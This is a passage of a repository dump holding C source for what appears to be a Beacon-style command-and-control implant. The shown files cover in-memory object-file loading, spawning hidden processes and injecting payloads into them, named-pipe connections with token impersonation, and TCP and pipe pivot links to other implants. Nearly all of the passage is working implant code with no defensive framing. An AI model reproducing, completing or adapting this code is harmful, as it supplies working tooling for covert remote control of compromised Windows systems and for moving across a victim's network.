{\n            success = ProcessRelocation(relocation, code, img, img, relocation->e_value);\n        }\n        else\n        {\n            if (relocation->sof.function != DYNAMIC_FUNC_RELOC)\n            {\n                // BOF Internal function\n                dynamicFunctionPtr = (PROC*)api + relocation->sof.function;\n            }\n            else\n            {\n                // BOF Dynamic function\n                char* lpModuleName = BeaconDataStringPointer(&relocationsParser);\n                char* lpProcName = BeaconDataStringPointer(&relocationsParser);\n                HMODULE hModule = GetModuleHandleA(lpModuleName);\n                if (!hModule)\n                {\n                    hModule = LoadLibraryA(lpModuleName);\n                }\n\n                FARPROC lpProc = GetProcAddress(hModule, lpProcName);\n                if (!lpProc)\n                {\n                    LERROR(\"Could not resolve API %s!%s\", lpModuleName, lpProcName);\n                    BeaconErrorPrintf(ERROR_RESOLVE_API_FAILED, \"%s!%s\", lpModuleName, lpProcName);\n                    goto cleanup;\n                }\n\n                PROC* dynamicFunction = FindOrAddDynamicFunction(api, lpProc);\n                if (!dynamicFunction)\n                {\n                    LERROR(\"No slot for function (reduce number of Win32 APIs called)\");\n                    BeaconErrorNA(ERROR_NO_SLOT_FOR_FUNCTION);\n                    goto cleanup;\n                }\n\n                dynamicFunctionPtr = dynamicFunction;\n            }\n\n            success = ProcessRelocation(relocation, code, img, (char*)dynamicFunctionPtr, 0);\n        }\n\n        if (!success)\n        {\n            goto cleanup;\n        }\n    }\n\n    memcpy(img, code, codeLength);\n    memset(code, 0, codeLength);\n    if (AdjustMemoryPermissions(img, codeLength))\n    {\n\t    // Call the entry point whose signature is void go(char* buff, int len)\n\t    ((void(*)(char*, int))(img + entryPoint))(bytes, bytesPair.size);\n    }\n\n    cleanup:\n    VirtualFree(img, 0, MEM_RELEASE);\n    free(api);\n}\n"
  },
  {
    "path": "Beacon/inline_execute_object.h",
    "content": "#pragma once\n\nvoid InlineExecuteObject(char* buffer, int length);"
  },
  {
    "path": "Beacon/job.c",
    "content": "#include \"pch.h\"\n\n#include \"job.h\"\n\n#include \"beacon.h\"\n#include \"identity.h\"\n#include \"pipe.h\"\n#include \"protocol.h\"\n#include \"spawn.h\"\n#include \"utils.h\"\n\n\ntypedef struct _JOB_ENTRY\n{\n\tint id;\n\tHANDLE process;\n\tHANDLE thread;\n\t__int64 pid;\n\tHANDLE hRead;\n\tHANDLE hWrite;\n\tstruct _JOB_ENTRY* next;\n\tSHORT isPipe;\n\tSHORT isDead;\n\tint pid32;\n\tDWORD callbackType;\n\tBOOL isMsgMode;\n\tchar description[64];\n} JOB_ENTRY;\n\nJOB_ENTRY* gJobs = NULL;\n\nJOB_ENTRY* JobAdd(JOB_ENTRY* newJob)\n{\n\tstatic DWORD gJobCurrentId = 0;\n\n\tJOB_ENTRY* job = gJobs;\n\tnewJob->id = gJobCurrentId++;\n\n\t// Add to the end of the list\n\tif (job)\n\t{\n\t\twhile (job->next)\n\t\t\tjob = job->next;\n\n\t\tjob->next = newJob;\n\t}\n\telse\n\t{\n\t\tgJobs = newJob;\n\t}\n\n\treturn job;\n}\n\nvoid JobCleanup()\n{\n\t// Close handles associated with completed jobs\n\t// If gJobs is not empty, iterate through the list\n\t;\n\tfor (JOB_ENTRY* job = gJobs; job; job = job->next)\n\t{\n\t\tif (job->isDead)\n\t\t{\n\t\t\tif (!job->isPipe)\n\t\t\t{\n\t\t\t\tCloseHandle(job->process);\n\t\t\t\tCloseHandle(job->thread);\n\t\t\t\tCloseHandle(job->hRead);\n\t\t\t\tCloseHandle(job->hWrite);\n\t\t\t} else\n\t\t\t{\n\t\t\t\tDisconnectNamedPipe(job->hRead);\n\t\t\t\tCloseHandle(job->hRead);\n\t\t\t}\n\t\t}\n\t}\n\n\tJOB_ENTRY* prev = NULL;\n\tJOB_ENTRY** pNext;\n\tfor (JOB_ENTRY* job = gJobs; job; job = *pNext)\n\t{\n\t\tif (!job->isDead)\n\t\t{\n\t\t\tprev = job;\n\t\t\tpNext = &job->next;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (prev)\n\t\t\tpNext = &prev->next;\n\t\telse\n\t\t\tpNext = &gJobs;\n\n\t\t*pNext = job->next;\n\t\tfree(job);\n\t}\n\n}\n\nvoid JobKill(char* buffer, int size)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, size);\n\tshort id = BeaconDataShort(&parser);\n\n\tfor (JOB_ENTRY* job = gJobs; job; job = job->next)\n\t{\n\t\tif (job->id == id)\n\t\t\tjob->isDead = TRUE;\n\t}\n\n\tJobCleanup();\n}\n\nvoid JobPrintAll()\n{\n\tformatp format;\n\tBeaconFormatAlloc(&format, 0x8000);\n\n\tfor (JOB_ENTRY* job = gJobs; job; job = job->next)\n\t{\n\t\tBeaconFormatPrintf(&format, \"%d\\t%d\\t%s\\n\", job->id, job->pid32, job->description);\n\t}\n\n\tint size = BeaconDataLength(&format);\n\tchar* buffer = BeaconDataOriginal(&format);\n\tBeaconOutput(CALLBACK_JOBS, buffer, size);\n\tBeaconFormatFree(&format);\n}\n\nJOB_ENTRY* JobRegisterProcess(PROCESS_INFORMATION* pi, HANDLE hRead, HANDLE hWrite, char* description)\n{\n\tJOB_ENTRY* job = (JOB_ENTRY*)malloc(sizeof(JOB_ENTRY));\n\tif (!job)\n\t\treturn NULL;\n\n\tjob->process = pi->hProcess;\n\tjob->thread = pi->hThread;\n\tjob->next = NULL;\n\tjob->isPipe = FALSE;\n\tjob->hRead = hRead;\n\tjob->hWrite = hWrite;\n\tjob->pid = pi->dwProcessId;\n\tjob->callbackType = CALLBACK_OUTPUT;\n\tjob->isMsgMode = FALSE;\n\tjob->pid32 = pi->dwProcessId;\n\tstrncpy(job->description, description, sizeof(job->description));\n\n\treturn JobAdd(job);\n}\n\nint JobReadDataFromPipe(HANDLE hPipe, char* buffer, int size)\n{\n\tDWORD totalBytesAvail = 0;\n\tif(!PeekNamedPipe(hPipe, NULL, 0, NULL, &totalBytesAvail, NULL))\n\t\treturn -1;\n\n\tDWORD read = 0;\n\tDWORD totalRead = 0;\n\twhile(totalBytesAvail)\n\t{\n\t\tif(totalRead >= size)\n\t\t\tbreak;\n\n\t\tReadFile(hPipe, buffer, size - totalRead, &read, NULL);\n\t\ttotalRead += read;\n\t\tbuffer += read;\n\n\t\tif (!PeekNamedPipe(hPipe, NULL, 0, NULL, &totalBytesAvail, NULL))\n\t\t\treturn -1;\n\t}\n\n\treturn totalRead;\n}\n\nint JobReadDataFromPipeWithHeader(HANDLE hPipe, char* buffer, int size)\n{\n\tDWORD lpTotalBytesAvail;\n\tDWORD headerSize = 0;\n\n\tif (!PeekNamedPipe(hPipe, NULL, 0, NULL, &lpTotalBytesAvail, NULL))\n\t\treturn -1;\n\n\tif (!lpTotalBytesAvail)\n\t\treturn 0;\n\n\tif (ProtocolSmbPipeRead(hPipe, (char*)&headerSize, sizeof(headerSize)) != sizeof(headerSize) || headerSize > size)\n\t\treturn -1;\n\n\treturn ProtocolSmbPipeRead(hPipe, buffer, headerSize);\n}\n\nJOB_ENTRY* JobRegisterPipe(HANDLE hRead, int pid32, int callbackType, char* description, BOOL isMsgMode)\n{\n\tJOB_ENTRY* job = (JOB_ENTRY*)malloc(sizeof(JOB_ENTRY));\n\tif (!job)\n\t\treturn NULL;\n\n\n\tjob->hWrite = INVALID_HANDLE_VALUE;\n\tjob->next = NULL;\n\tjob->isMsgMode = isMsgMode;\n\tjob->hRead = hRead;\n\tjob->isPipe = TRUE;\n\tjob->pid32 = pid32;\n\tjob->callbackType = callbackType;\n\tstrncpy(job->description, description, sizeof(job->description));\n\n\treturn JobAdd(job);\n}\n\nvoid JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode)\n{\n\tchar filename[64] = { 0 };\n\tchar description[64] = { 0 };\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, size);\n\tint pid32 = BeaconDataInt(&parser);\n\tshort callbackType = BeaconDataShort(&parser);\n\tshort waitTime = BeaconDataShort(&parser);\n\n\tif (!BeaconDataStringCopySafe(&parser, filename, sizeof(filename)))\n\t\treturn;\n\n\tif (!BeaconDataStringCopySafe(&parser, description, sizeof(description)))\n\t\treturn;\n\n\tHANDLE hPipe;\n\tint attempts = 0;\n\twhile (!PipeConnectWithToken(filename, &hPipe, impersonate ? 0x20000 : 0))\n\t{\n\t\tSleep(500);\n\t\tif(++attempts >= 20)\n\t\t{\n\t\t\tDWORD lastError = GetLastError();\n\t\t\tLERROR(\"Could not connect to pipe: %s\", LAST_ERROR_STR(lastError));\n\t\t\tBeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif (waitTime)\n\t{\n\t\tPipeWaitForData(hPipe, waitTime, 500);\n\t}\n\n\tJobRegisterPipe(hPipe, pid32, callbackType, description, isMsgMode);\n}\n\nvoid JobSpawnInternal(int callbackType, int waitTime, int reflectiveLoaderOffset, char* payload, int payloadLength, char* argument, int argumentLength, char* description, int descriptionLength, BOOL x86, BOOL ignoreToken)\n{\n\tIdentityConditionalRevert(ignoreToken);\n\n\tSTARTUPINFOA si = { sizeof(si) };\n\tPROCESS_INFORMATION pi = { 0 };\n\tSECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };\n\n\tHANDLE hRead, hWrite;\n\tCreatePipe(&hRead, &hWrite, &sa, 0x100000);\n\tGetStartupInfoA(&si);\n\tsi.hStdOutput = hWrite;\n\tsi.hStdError = hWrite;\n\tsi.hStdInput = NULL;\n\tsi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;\n\tsi.wShowWindow = SW_HIDE;\n\n\tif (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))\n\t{\n\t\tSleep(100);\n\n\t\tBeaconInjectTemporaryProcess(&pi, payload, payloadLength, reflectiveLoaderOffset, argument, argumentLength);\n\n\t\tif (waitTime)\n\t\t{\n\t\t\tPipeWaitForData(hRead, waitTime, 500);\n\t\t}\n\n\t\tJobRegisterProcess(&pi, hRead, hWrite, description);\n\t}\n\n\tIdentityConditionalImpersonate(ignoreToken);\n}\n\nvoid JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken)\n{\n#define MAX_DESCRIPTION 64\n\tdatap* locals = BeaconDataAlloc(MAX_DESCRIPTION);\n\tchar* description = BeaconDataPtr(locals, MAX_DESCRIPTION);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, size);\n\tshort callbackType = BeaconDataShort(&parser);\n\tshort waitTime = BeaconDataShort(&parser);\n\tint reflectiveLoaderOffset = BeaconDataInt(&parser);\n\tint descriptionLength = BeaconDataStringCopySafe(&parser, description, MAX_DESCRIPTION);\n\tint argumentLength = BeaconDataInt(&parser);\n\tchar* argument = argumentLength ? BeaconDataPtr(&parser, argumentLength) : NULL;\n\tchar* payload = BeaconDataBuffer(&parser);\n\tint payloadLength = BeaconDataLength(&parser);\n\n\tJobSpawnInternal(callbackType, waitTime, reflectiveLoaderOffset, payload, payloadLength, argument, argumentLength, description, descriptionLength, x86, ignoreToken);\n\n\tBeaconDataFree(locals);\n}\n\nvoid JobExecuteInternal(char* buffer, int length)\n{\n\tSTARTUPINFOA si = { sizeof(si) };\n\tPROCESS_INFORMATION pi = { 0 };\n\tSECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };\n\n\tHANDLE hRead, hWrite;\n\tCreatePipe(&hRead, &hWrite, &sa, 0x100000);\n\tGetStartupInfoA(&si);\n\tsi.hStdInput = NULL;\n\tsi.hStdOutput = hWrite;\n\tsi.hStdError = hWrite;\n\tsi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;\n\tsi.wShowWindow = SW_HIDE;\n\n\tif(RunUnderParent(buffer, length, &si, &pi, CREATE_NEW_CONSOLE, FALSE))\n\t{\n\t\tWaitForSingleObject(pi.hProcess, 10000);\n\t\tPROCESS_INFORMATION lPi = { pi.hProcess, NULL, pi.dwProcessId, 0 };\n\t\tJOB_ENTRY* job = JobRegisterProcess(&lPi, hRead, hWrite, \"process\");\n\t\tjob->callbackType = CALLBACK_OUTPUT_OEM;\n\t}\n}\n\ntypedef BOOL(WINAPI* WOW64DISABLEWOW64FSREDIRECTION)(PVOID* OldValue);\ntypedef BOOL(WINAPI* WOW64REVERTWOW64FSREDIRECTION)(PVOID OldValue);\n\nBOOL kernel32$Wow64DisableWow64FsRedirection(PVOID* OldValue)\n{\n\tHMODULE hModule = GetModuleHandleA(\"kernel32\");\n\tWOW64DISABLEWOW64FSREDIRECTION fnWow64DisableWow64FsRedirection = (WOW64DISABLEWOW64FSREDIRECTION)GetProcAddress(hModule, \"Wow64DisableWow64FsRedirection\");\n\tif (!fnWow64DisableWow64FsRedirection)\n\t\treturn FALSE;\n\n\treturn fnWow64DisableWow64FsRedirection(OldValue);\n}\n\nBOOL kernel32$Wow64RevertWow64FsRedirection(PVOID OldValue)\n{\n\tHMODULE hModule = GetModuleHandleA(\"kernel32\");\n\tWOW64REVERTWOW64FSREDIRECTION fnWow64RevertWow64FsRedirection = (WOW64REVERTWOW64FSREDIRECTION)GetProcAddress(hModule, \"Wow64RevertWow64FsRedirection\");\n\tif (!fnWow64RevertWow64FsRedirection)\n\t\treturn FALSE;\n\n\treturn fnWow64RevertWow64FsRedirection(OldValue);\n}\n\nvoid JobExecute(char* buffer, int length)\n{\n#define MAX_RUNNABLE_CMD 0x2000\n#define MAX_EXPANDED_CMD 0x2000\n#define MAX_ARGS 0x2000\n#define MAX_CMD 0x2000\n\n\tdatap* locals = BeaconDataAlloc(MAX_RUNNABLE_CMD + MAX_EXPANDED_CMD + MAX_ARGS + MAX_CMD);\n\tchar* runnableCmd = BeaconDataPtr(locals, MAX_RUNNABLE_CMD);\n\tchar* expandedCmd = BeaconDataPtr(locals, MAX_EXPANDED_CMD);\n\tchar* args = BeaconDataPtr(locals, MAX_ARGS);\n\tchar* cmd = BeaconDataPtr(locals, MAX_CMD);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tBeaconDataStringCopySafe(&parser, runnableCmd, MAX_RUNNABLE_CMD);\n\tBeaconDataStringCopySafe(&parser, args, MAX_ARGS);\n\tBOOL disableWow64FsRedirection = BeaconDataShort(&parser);\n\tExpandEnvironmentStrings_s(runnableCmd, expandedCmd, MAX_EXPANDED_CMD);\n\tstrncat_s(cmd, MAX_CMD, expandedCmd, MAX_EXPANDED_CMD);\n\tstrncat_s(cmd, MAX_CMD, args, MAX_ARGS);\n\n\tPVOID oldValue;\n\tif(disableWow64FsRedirection)\n\t\tkernel32$Wow64DisableWow64FsRedirection(&oldValue);\n\n\tJobExecuteInternal(cmd, strlen(cmd) + 1);\n\n\tif(disableWow64FsRedirection)\n\t\tkernel32$Wow64RevertWow64FsRedirection(oldValue);\n\n\tBeaconDataFree(locals);\n}"
  },
  {
    "path": "Beacon/job.h",
    "content": "#pragma once\n\nvoid JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken);\nvoid JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode);\nvoid JobKill(char* buffer, int size);\nvoid JobPrintAll();\nvoid JobExecute(char* buffer, int length);"
  },
  {
    "path": "Beacon/link.c",
    "content": "#include \"pch.h\"\n\n#include \"link.h\"\n\n#include \"beacon.h\"\n#include \"network.h\"\n#include \"protocol.h\"\n\ntypedef struct _LINK_ENTRY\n{\n\tint bid;\n\tPROTOCOL protocol;\n\tBOOL isOpen;\n\tchar* callbackData;\n\tint callbackLength;\n\tint lastPingTime;\n} LINK_ENTRY;\n\n#define MAX_LINKS 28\nLINK_ENTRY gLinks[MAX_LINKS] = { 0 };\n\nBOOL LinkAdd(PROTOCOL* protocol, int pivotHints)\n{\n\tchar buffer[256] = { 0 };\n\tif (!protocol->waitForData(protocol, 30000, 10))\n\t\treturn FALSE;\n\n\tint read = protocol->read(protocol, buffer, sizeof(buffer));\n\tif (read < 0)\n\t\treturn FALSE;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, read);\n\tint bid = BeaconDataInt(&parser);\n\tLINK_ENTRY* openLink = NULL;\n\tfor(int i = 0; i < MAX_LINKS; i++)\n\t{\n\t\tif (gLinks[i].isOpen)\n\t\t{\n\t\t\topenLink = &gLinks[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (!openLink)\n\t{\n\t\tLERROR(\"Maximum links reached. Disconnect one\");\n\t\tBeaconErrorNA(ERROR_MAXIMUM_LINKS_REACHED);\n\t\treturn FALSE;\n\t}\n\n\topenLink->bid = bid;\n\topenLink->protocol = *protocol;\n\topenLink->isOpen = TRUE;\n\n#define MAX_CALLBACK_DATA 0x100\n\tif ( openLink->callbackData == NULL )\n\t{\n\t\topenLink->callbackData = malloc(MAX_CALLBACK_DATA);\n\n\t\tif (openLink->callbackData == NULL)\n\t\t\treturn FALSE;\n\t}\n\n\tformatp format;\n\tBeaconFormatUse(&format, openLink->callbackData, MAX_CALLBACK_DATA);\n\tBeaconFormatInt(&format, bid);\n\tBeaconFormatInt(&format, pivotHints);\n\n\tchar* buf = BeaconDataBuffer(&parser);\n\tBeaconFormatAppend(&format, buf, read - sizeof(int));\n\n\topenLink->callbackLength = BeaconDataLength(&format);\n\tBeaconOutput(CALLBACK_PIPE_OPEN, openLink->callbackData, openLink->callbackLength);\n\n\treturn TRUE;\n}\n\nSOCKET LinkViaTcpConnect(char* target, short port)\n{\n\tSOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);\n\tif (sock == INVALID_SOCKET)\n\t\treturn INVALID_SOCKET;\n\n\t// Get host by name\n\tstruct hostent* host = gethostbyname(target);\n\tif (host == NULL)\n\t{\n\t\tclosesocket(sock);\n\t\treturn INVALID_SOCKET;\n\t}\n\n\tstruct sockaddr_in addr;\n\tmemcpy(&addr.sin_addr, host->h_addr, host->h_length);\n\taddr.sin_family = AF_INET;\n\taddr.sin_port = htons(port);\n\n\tif (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR)\n\t{\n\t\tclosesocket(sock);\n\t\treturn INVALID_SOCKET;\n\t}\n\n\treturn sock;\n}\n\n#define PIVOT_HINT_REVERSE 0x10000\n#define PIVOT_HINT_FORWARD 0\n#define PIVOT_HINT_PROTO_PIPE 0\n#define PIVOT_HINT_PROTO_TCP 0x100000\n\nvoid LinkViaTcp(char* buffer, int length)\n{\n\tint timeout = GetTickCount() + 15000;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort port = BeaconDataShort(&parser);\n\tchar* target = BeaconDataBuffer(&parser);\n\tNetworkInit();\n\n\twhile(GetTickCount() < timeout)\n\t{\n\t\tSOCKET sock = LinkViaTcpConnect(target, port);\n\t\tif (sock != INVALID_SOCKET)\n\t\t{\n\t\t\tPROTOCOL protocol;\n\t\t\tProtocolTcpInit(&protocol, sock);\n\t\t\tLinkAdd(&protocol, port | PIVOT_HINT_PROTO_TCP);\n\t\t\treturn;\n\t\t}\n\n\t\tSleep(1000);\n\t}\n\n\tDWORD error = WSAGetLastError();\n\tBeaconErrorD(ERROR_CONNECT_TO_TARGET_FAILED, error);\t\n}\n\nvoid PipeReopen(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint bid = BeaconDataInt(&parser);\n\tfor (int i = 0; i < MAX_LINKS; i++)\n\t{\n\t\tif (gLinks[i].isOpen == TRUE && gLinks[i].bid == bid)\n\t\t{\n\t\t\tBeaconOutput(CALLBACK_PIPE_OPEN, gLinks[i].callbackData, gLinks[i].callbackLength);\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid PipeCloseInternal(int bid)\n{\n\tfor (int i = 0; i < MAX_LINKS; i++)\n\t{\n\t\tif (gLinks[i].isOpen == TRUE && gLinks[i].bid == bid)\n\t\t{\n\t\t\tbid = htonl(bid);\n\t\t\tBeaconOutput(CALLBACK_PIPE_CLOSE, (char*)&bid, sizeof(int));\n\t\t\tgLinks[i].bid = 0;\n\t\t\tgLinks[i].isOpen = FALSE;\n\t\t\tgLinks[i].lastPingTime = 0;\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid PipeClose(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint bid = BeaconDataInt(&parser);\n\tPipeCloseInternal(bid);\n}\n\ntypedef struct _ROUTE_DATA\n{\n\tint bid;\n\tchar data[];\n} ROUTE_DATA;\n\nROUTE_DATA* gRouteAux = NULL;\nvoid PipeRoute(char* buffer, int length)\n{\n#define MAX_ROUTE_AUX 0x100000\n\tif (!gRouteAux)\n\t{\n\t\tgRouteAux = malloc(MAX_ROUTE_AUX);\n\n\t\tif (!gRouteAux)\n\t\t{\n\t\t\tLERROR(\"Could not allocate memory for route aux\");\n\t\t\treturn;\n\t\t}\n\t}\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint bid = BeaconDataInt(&parser);\n\tint baseLen = BeaconDataLength(&parser);\n\n\tint len = baseLen;\n\tfor(int i = 0; i < MAX_LINKS; i++)\n\t{\n\t\tif (gLinks[i].bid != bid || gLinks[i].isOpen == FALSE)\n\t\t\tcontinue;\n\n\t\tPROTOCOL* pProtocol = &gLinks[i].protocol;\n\t\tchar* wdata;\n\t\tif(len <= 0)\n\t\t{\n\t\t\tlen = 0;\n\t\t\twdata = NULL;\n\t\t} else\n\t\t{\n\t\t\tlen = baseLen;\n\t\t\twdata = BeaconDataBuffer(&parser);\n\t\t}\n\n\t\tif(pProtocol->write(pProtocol, wdata, len) == 0)\n\t\t{\n\t\t\tPipeCloseInternal(bid);\n\t\t\tbreak;\n\t\t}\n\n\t\tgRouteAux->bid = bid;\n\n\t\tint read;\n\t\tif(pProtocol->waitForData(pProtocol, 300000, 10))\n\t\t{\n\t\t\tread = pProtocol->read(pProtocol, gRouteAux->data, MAX_ROUTE_AUX - offsetof(ROUTE_DATA, data));\n\t\t} else\n\t\t{\n\t\t\tread = -1;\n\t\t}\n\n\t\tint size = offsetof(ROUTE_DATA, data);\n\t\tif(read <= 0)\n\t\t{\n\t\t\tif(read != 0)\n\t\t\t{\n\t\t\t\tPipeCloseInternal(bid);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\tsize += read;\n\t\t}\n\n\t\tBeaconOutput(CALLBACK_PIPE_READ, (char*)gRouteAux, size);\n\t}\n}\n\nvoid PingHandle()\n{\n\tfor(int i = 0; i < MAX_LINKS; i++)\n\t{\n\t\tif (!gLinks[i].isOpen)\n\t\t\tcontinue;\n\n\t\tif (gLinks[i].lastPingTime >= GetTickCount())\n\t\t\tcontinue;\n\n\t\tDWORD now = GetTickCount();\n\t\tgLinks[i].lastPingTime = now + 15000;\n\t\tu_long bid = htonl(gLinks[i].bid);\n\t\tBeaconOutput(CALLBACK_PIPE_PING, (char*)&bid, sizeof(u_long));\n\t}\n}"
  },
  {
    "path": "Beacon/link.h",
    "content": "#pragma once\n#include \"protocol.h\"\n\n#define HINT_REVERSE 0x10000\n#define HINT_FORWARD 0\n#define HINT_PROTO_PIPE 0\n#define HINT_PROTO_TCP 0x100000\n\nvoid LinkViaTcp(char* buffer, int length);\n\nSOCKET LinkViaTcpConnect(char* target, short port);\n\nBOOL LinkAdd(PROTOCOL* protocol, int pivotHints);\n\nvoid PipeReopen(char* buffer, int length);\n\nvoid PipeClose(char* buffer, int length);\n\nvoid PipeRoute(char* buffer, int length);\n"
  },
  {
    "path": "Beacon/logger.h",
    "content": "#pragma once\n\n#ifdef _DEBUG\n\n#define ANSI_COLOR_RED     \"\\x1b[31m\"\n#define ANSI_COLOR_GREEN   \"\\x1b[32m\"\n#define ANSI_COLOR_YELLOW  \"\\x1b[33m\"\n#define ANSI_COLOR_BLUE    \"\\x1b[36m\"\n#define ANSI_COLOR_MAGENTA \"\\x1b[35m\"\n#define ANSI_COLOR_RESET   \"\\x1b[0m\"\n\n#define LOG(color, label, format, ...) \\\n    do { \\\n        printf(\"%s%s \" ANSI_COLOR_RESET, color, label); \\\n        printf(format, ##__VA_ARGS__); \\\n        printf(\"\\n\"); \\\n    } while (0)\n\n\n#define LINFO(...) LOG(ANSI_COLOR_BLUE, \"[INFO]\", __VA_ARGS__)\n#define LWARNING(...) LOG(ANSI_COLOR_YELLOW, \"[WARNING]\", __VA_ARGS__)\n#define LERROR(...) LOG(ANSI_COLOR_RED, \"[ERROR]\", __VA_ARGS__)\n#define LOK(...) LOG(ANSI_COLOR_GREEN, \"[OK]\", __VA_ARGS__)\n#define LTODO(...) LOG(ANSI_COLOR_MAGENTA, \"[TODO]\", __VA_ARGS__)\n#define LLOG(...) LOG(\"\\n\", \"\", __VA_ARGS__)\n#define LNEWLINE() LOG(\"\\n\")\n\n#define LAST_ERROR_STR(...) \"\" // TODO: Implement\n\n#else\n\n#define LINFO(...)\n#define LWARNING(...)\n#define LERROR(...)\n#define LOK(...)\n#define LTODO(...)\n#define LLOG(...)\n#define LNEWLINE()\n\n#define LAST_ERROR_STR(...)\n\n#endif"
  },
  {
    "path": "Beacon/macros.h",
    "content": "#pragma once\n\n#define STRLEN(s) ((int)((sizeof(s)/sizeof(s[0])) - 1))\n\n#if _WIN64\n#define HIDWORD(x) ((DWORD)((DWORD64)(x) >> (8*(sizeof(DWORD)))))\n#define LODWORD(x) ((DWORD)(x))\n\n#define IS_X64() (TRUE)\n#else\n#define HIDWORD(x) 0\n#define LODWORD(x) ((DWORD)(x))\n\n#define IS_X64() (FALSE)\n#endif"
  },
  {
    "path": "Beacon/main.c",
    "content": "#include \"pch.h\"\n\nint main(int argc, char* argv[])\n{\n}"
  },
  {
    "path": "Beacon/memory.c",
    "content": "#include \"pch.h\"\n\ntypedef struct RECORD\n{\n\tchar* ptr;\n\tsize_t size;\n} RECORD, HEAP_RECORD;\n\n#define ALLOC_TYPE_MALLOC 1\n#define ALLOC_TYPE_VIRTUALALLOC 2\n\ntypedef struct RECORD_ENTRY\n{\n\tRECORD record;\n\tint allocType;\n\tBOOL isHeap;\n\tvoid(__stdcall* callback)(void* Block);\n} RECORD_ENTRY;\n\n\nlong long gRecordCount = 0;\nlong long gRecordCapacity = 0;\nRECORD_ENTRY* gRecords;\nHEAP_RECORD* gHeapRecords;\nBOOL gIsHeapFiltering = TRUE;\n#define RECORD_CAPACITY_INCREMENT 25\nvoid MemoryInsert(char* buffer, int length, int type, BOOL isHeap, void(* cleanupCallback)(void* block))\n{\n\tif(gRecordCount + 1 >= gRecordCapacity)\n\t{\n\t\tif(gRecords)\n\t\t{\n\t\t\tgRecords = realloc(gRecords, sizeof(RECORD_ENTRY) * (gRecordCapacity + RECORD_CAPACITY_INCREMENT));\n\t\t} else\n\t\t{\n\t\t\tgRecords = malloc(sizeof(RECORD_ENTRY) * RECORD_CAPACITY_INCREMENT);\n\t\t}\n\t\tmemset(&gRecords[gRecordCapacity], 0, sizeof(RECORD_ENTRY) * RECORD_CAPACITY_INCREMENT);\n\t\tgRecordCapacity += RECORD_CAPACITY_INCREMENT;\n\t}\n\n\tgRecords[gRecordCount] = (RECORD_ENTRY) {\n\t\t.record = {\n\t\t\t.ptr = buffer,\n\t\t\t.size = length\n\t\t},\n\t\t.allocType = type,\n\t\t.isHeap = isHeap,\n\t\t.callback = cleanupCallback\n\t};\n\n\tgIsHeapFiltering = gIsHeapFiltering || isHeap;\n\tgRecordCount++;\n}\n\nvoid MemoryCleanup()\n{\n\tfor(int i = 0; i < gRecordCount; i++)\n\t{\n\t\tRECORD_ENTRY* entry = &gRecords[i];\n\t\tif(entry->callback)\n\t\t{\n\t\t\tentry->callback(entry->record.ptr);\n\t\t} else\n\t\t{\n\t\t\tif(entry->allocType == ALLOC_TYPE_MALLOC)\n\t\t\t{\n\t\t\t\tmemset(entry->record.ptr, 0, entry->record.size);\n\t\t\t\tfree(entry->record.ptr);\n\t\t\t} else if(entry->allocType == ALLOC_TYPE_VIRTUALALLOC)\n\t\t\t{\n\t\t\t\tmemset(entry->record.ptr, 0, entry->record.size);\n\t\t\t\tVirtualFree(entry->record.ptr, 0, MEM_RELEASE);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (gRecords)\n\t\tfree(gRecords);\n\n\tif (gHeapRecords)\n\t\tfree(gHeapRecords);\n\n\tgRecordCapacity = 0;\n\tgRecordCount = 0;\n\tgIsHeapFiltering = TRUE;\n}\n\nHEAP_RECORD* MemoryGetHeapRecords()\n{\n\tif(gIsHeapFiltering == FALSE && gHeapRecords)\n\t{\n\t\treturn gHeapRecords;\n\t}\n\n\tint heapCount;\n\n\theapCount = 0;\n\tfor(int i=0; i<gRecordCount; i++)\n\t{\n\t\tif (gRecords[i].isHeap)\n\t\t{\n\t\t\theapCount++;\n\t\t}\n\t}\t\t\n\n\tif(gHeapRecords)\n\t\tfree(gHeapRecords);\n\n\tgHeapRecords = malloc(sizeof(HEAP_RECORD) * (heapCount + 1));\n\theapCount = 0;\n\tfor(int i=0; i < gRecordCount; i++)\n\t{\n\t\tif (gRecords[i].isHeap)\n\t\t{\n\t\t\tgHeapRecords[heapCount++] = (HEAP_RECORD) {\n\t\t\t\t.ptr = gRecords[i].record.ptr,\n\t\t\t\t.size = gRecords[i].record.size\n\t\t\t};\n\t\t}\n\t}\n\n\tgHeapRecords[heapCount] = (HEAP_RECORD) { 0 }; // null terminate\n\tgIsHeapFiltering = FALSE;\n\treturn gHeapRecords;\n}"
  },
  {
    "path": "Beacon/metadata.c",
